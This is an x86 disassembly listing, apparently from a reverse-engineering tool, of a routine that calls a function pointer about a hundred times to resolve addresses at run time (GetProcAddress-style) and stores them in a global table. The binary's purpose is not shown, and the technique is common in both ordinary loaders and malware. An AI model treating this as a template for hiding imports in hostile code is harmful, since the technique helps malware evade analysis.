mov dword [0x41aa14], eax
call dword [0x41a9cc]
push dword [0x41aee4]
mov dword [0x41aa1c], eax
push edi
call dword [0x41a9cc]
push dword [0x41aee8]
mov dword [0x41aa20], eax
push esi
call dword [0x41a9cc]
push dword [0x41aeec]
mov dword [0x41aa24], eax
push esi
call dword [0x41a9cc]
push dword [0x41aef0]
mov edi, dword [ebp - 0x20]
push edi
mov dword [0x41aa28], eax
call dword [0x41a9cc]
push dword [0x41aef4]
mov dword [0x41aa2c], eax
push edi
call dword [0x41a9cc]
push dword [0x41aef8]
mov dword [0x41aa30], eax
push edi
call dword [0x41a9cc]
push dword [0x41aefc]
mov dword [0x41aa34], eax
push edi
call dword [0x41a9cc]
push dword [0x41af00]
mov dword [0x41aa38], eax
push edi
call dword [0x41a9cc]
push dword [0x41af04]
mov dword [0x41aa3c], eax
push edi
call dword [0x41a9cc]
push dword [0x41af08]
mov dword [0x41aa40], eax
push edi
call dword [0x41a9cc]
push dword [0x41af0c]
mov dword [0x41aa44], eax
push edi
call dword [0x41a9cc]
push dword [0x41af10]
mov dword [0x41aa48], eax
push edi
call dword [0x41a9cc]
push dword [0x41af14]
mov dword [0x41aa4c], eax
push esi
call dword [0x41a9cc]
push dword [0x41af18]
mov dword [0x41aa50], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af1c]
mov dword [0x41aa54], eax
push dword [ebp - 0x10]
call dword [0x41a9cc]
push dword [0x41af24]
mov dword [0x41aa58], eax
push dword [ebp - 0x10]
call dword [0x41a9cc]
push dword [0x41af20]
mov dword [0x41aa5c], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41b0ec]
mov dword [0x41a998], eax
push dword [ebp - 0x10]
call dword [0x41a9cc]
push dword [0x41af28]
mov dword [0x41aa60], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af34]
mov dword [0x41aa64], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af2c]
mov dword [0x41aa68], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af30]
mov dword [0x41aa70], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af38]
mov dword [0x41aa6c], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af3c]
mov dword [0x41aa74], eax
push esi
call dword [0x41a9cc]
push dword [0x41af40]
mov dword [0x41aa78], eax
push esi
call dword [0x41a9cc]
push dword [0x41af44]
mov dword [0x41aa7c], eax
push esi
call dword [0x41a9cc]
push dword [0x41af48]
mov dword [0x41aa80], eax
push esi
call dword [0x41a9cc]
push dword [0x41af4c]
mov dword [0x41aa84], eax
push esi
call dword [0x41a9cc]
push dword [0x41af50]
mov dword [0x41aa88], eax
push esi
call dword [0x41a9cc]
push dword [0x41af54]
mov dword [0x41aa8c], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af58]
mov dword [0x41aa90], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af5c]
mov dword [0x41aa94], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af60]
mov dword [0x41aa98], eax
push dword [ebp - 8]
call dword [0x41a9cc]
push dword [0x41af64]
mov dword [0x41aa9c], eax
push dword [ebp - 8]
call dword [0x41a9cc]
push dword [0x41af68]
mov dword [0x41aaa0], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41af6c]
mov dword [0x41aaa4], eax
push ebx
call dword [0x41a9cc]
push dword [0x41af70]
mov dword [0x41aaa8], eax
push ebx
call dword [0x41a9cc]
push dword [0x41af74]
mov dword [0x41aaac], eax
push ebx
call dword [0x41a9cc]
push dword [0x41af78]
mov dword [0x41aab0], eax
push dword [ebp - 0x24]
call dword [0x41a9cc]
push dword [0x41af7c]
mov dword [0x41aab4], eax
push esi
call dword [0x41a9cc]
push dword [0x41af80]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x41aab8], eax
call dword [0x41a9cc]
push dword [0x41af84]
mov dword [0x41aabc], eax
push ebx
call dword [0x41a9cc]
push dword [0x41af88]
mov dword [0x41aac0], eax
push ebx
call dword [0x41a9cc]
push dword [0x41af8c]
mov dword [0x41aac4], eax
push ebx
call dword [0x41a9cc]
push dword [0x41af90]
mov dword [0x41aac8], eax
push ebx
call dword [0x41a9cc]
push dword [0x41af94]
mov dword [0x41aacc], eax
push ebx
call dword [0x41a9cc]
push dword [0x41af98]
mov esi, dword [ebp - 0x18]
push esi
mov dword [0x41aad0], eax
call dword [0x41a9cc]
push dword [0x41af9c]
mov dword [0x41aad4], eax
push esi
call dword [0x41a9cc]
push dword [0x41afa0]
mov dword [0x41aad8], eax
push esi
call dword [0x41a9cc]
push dword [0x41afa4]
mov dword [0x41aadc], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afa8]
mov dword [0x41aae0], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afac]
mov dword [0x41aae4], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afb0]
mov dword [0x41aae8], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afb4]
mov dword [0x41aaec], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afb8]
mov dword [0x41aaf0], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afbc]
mov dword [0x41aaf4], eax
push esi
call dword [0x41a9cc]
push dword [0x41afc0]
mov dword [0x41aaf8], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afc4]
mov dword [0x41aafc], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afc8]
mov dword [0x41ab00], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afcc]
mov dword [0x41ab04], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afd0]
mov dword [0x41ab08], eax
push ebx
call dword [0x41a9cc]
push dword [0x41afd4]
mov ebx, dword [ebp - 0x28]
push ebx
mov dword [0x41ab0c], eax
call dword [0x41a9cc]
push dword [0x41afd8]
mov dword [0x41ab10], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41afdc]
mov dword [0x41ab14], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41afe0]
mov dword [0x41ab18], eax
push dword [ebp - 0x14]
call dword [0x41a9cc]
push dword [0x41afe4]
mov dword [0x41ab1c], eax
push edi
call dword [0x41a9cc]
push dword [0x41afe8]
mov dword [0x41ab20], eax
push edi
call dword [0x41a9cc]
push dword [0x41afec]
mov edi, dword [ebp - 4]
push edi
mov dword [0x41ab24], eax
call dword [0x41a9cc]
push dword [0x41aff0]
mov dword [0x41ab28], eax
push edi
call dword [0x41a9cc]
push dword [0x41aff4]
mov edi, dword [ebp - 0x10]
push edi
mov dword [0x41ab2c], eax
call dword [0x41a9cc]
push dword [0x41aff8]
mov dword [0x41ab30], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41affc]
mov dword [0x41ab34], eax
push dword [ebp - 0xc]
call dword [0x41a9cc]
push dword [0x41b000]
mov dword [0x41ab38], eax
push dword [ebp - 0xc]
call dword [0x41a9cc]
push dword [0x41b004]
mov dword [0x41ab3c], eax
push dword [ebp - 4]
call dword [0x41a9cc]
mov dword [0x41ab40], eax
push dword [0x41b008]
push dword [ebp - 0xc]
call dword [0x41a9cc]
push dword [0x41b00c]
mov dword [0x41ab44], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41b010]
mov dword [0x41ab48], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41b014]
mov dword [0x41ab4c], eax
push dword [ebp - 8]
call dword [0x41a9cc]
push dword [0x41b018]
mov dword [0x41ab50], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41b01c]
mov dword [0x41ab54], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b020]
mov dword [0x41ab58], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b024]
mov dword [0x41ab5c], eax
push edi
call dword [0x41a9cc]
push dword [0x41b028]
mov dword [0x41ab60], eax
push edi
call dword [0x41a9cc]
push dword [0x41b02c]
mov ebx, dword [ebp - 0xc]
push ebx
mov dword [0x41ab64], eax
call dword [0x41a9cc]
push dword [0x41b030]
mov dword [0x41ab68], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b034]
mov dword [0x41ab6c], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b038]
mov dword [0x41ab70], eax
push dword [ebp - 4]
call dword [0x41a9cc]
push dword [0x41b03c]
mov dword [0x41ab74], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b040]
mov dword [0x41ab78], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b044]
mov dword [0x41ab7c], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b048]
mov dword [0x41ab80], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b04c]
mov dword [0x41ab84], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b050]
mov dword [0x41ab88], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b054]
mov dword [0x41ab8c], eax
push ebx
call dword [0x41a9cc]
mov dword [0x41ab90], eax
push dword [0x41b058]
push ebx
call dword [0x41a9cc]
push dword [0x41b05c]
mov dword [0x41ab94], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b060]
mov dword [0x41ab98], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b064]
mov dword [0x41ab9c], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b06c]
mov dword [0x41aba0], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b068]
mov dword [0x41aba8], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b070]
mov dword [0x41aba4], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b074]
mov dword [0x41abac], eax
push dword [ebp - 0x14]
call dword [0x41a9cc]
push dword [0x41b078]
mov dword [0x41abb0], eax
push esi
call dword [0x41a9cc]
push dword [0x41b07c]
mov dword [0x41abb4], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b080]
mov ebx, dword [ebp - 0x2c]
push ebx
mov dword [0x41abb8], eax
call dword [0x41a9cc]
push dword [0x41b084]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x41abbc], eax
call dword [0x41a9cc]
push dword [0x41b088]
mov dword [0x41abc0], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b08c]
mov dword [0x41abc4], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b090]
mov dword [0x41abc8], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b094]
mov dword [0x41abcc], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b098]
mov dword [0x41abd0], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b09c]
mov dword [0x41abd4], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b0a0]
mov dword [0x41abd8], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b0a4]
mov dword [0x41abdc], eax
push esi
call dword [0x41a9cc]
push dword [0x41b0a8]
mov dword [0x41abe0], eax
push esi
call dword [0x41a9cc]
push dword [0x41b0ac]
mov dword [0x41abe4], eax
push esi
call dword [0x41a9cc]
push dword [0x41b0b0]
mov dword [0x41abe8], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b0b4]
mov dword [0x41abec], eax
push esi
call dword [0x41a9cc]
push dword [0x41b0b8]
mov dword [0x41abf0], eax
push esi
call dword [0x41a9cc]
push dword [0x41b0bc]
mov dword [0x41abf4], eax
push edi
call dword [0x41a9cc]
push dword [0x41b0c0]
mov dword [0x41abf8], eax
push edi
call dword [0x41a9cc]
push dword [0x41b0c4]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x41abfc], eax
call dword [0x41a9cc]
push dword [0x41b0c8]
mov dword [0x41ac00], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b0cc]
mov dword [0x41ac04], eax
push dword [ebp - 0x14]
call dword [0x41a9cc]
push dword [0x41b0d0]
mov dword [0x41ac08], eax
push ebx
call dword [0x41a9cc]
push dword [0x41b0d4]
mov dword [0x41ac0c], eax
push ebx
call dword [0x41a9cc]
push dword [0x41ae28]
mov dword [0x41ac10], eax
call fcn.00404b5f
push dword [0x41b17c]
mov dword [0x41ae58], eax
call fcn.00404b5f
push dword [0x41b178]
mov dword [0x41b2d0], eax
call fcn.00404b5f
push dword [0x41ae48]
mov dword [0x41b2cc], eax
call fcn.00404b5f
push dword [0x41ae1c]
mov dword [0x41ae5c], eax
call fcn.00404b5f
push dword [0x41ae20]
mov dword [0x41ae54], eax
call fcn.00404b5f
add esp, 0x18
mov dword [0x41ae50], eax
pop edi
pop esi
pop ebx
leave
ret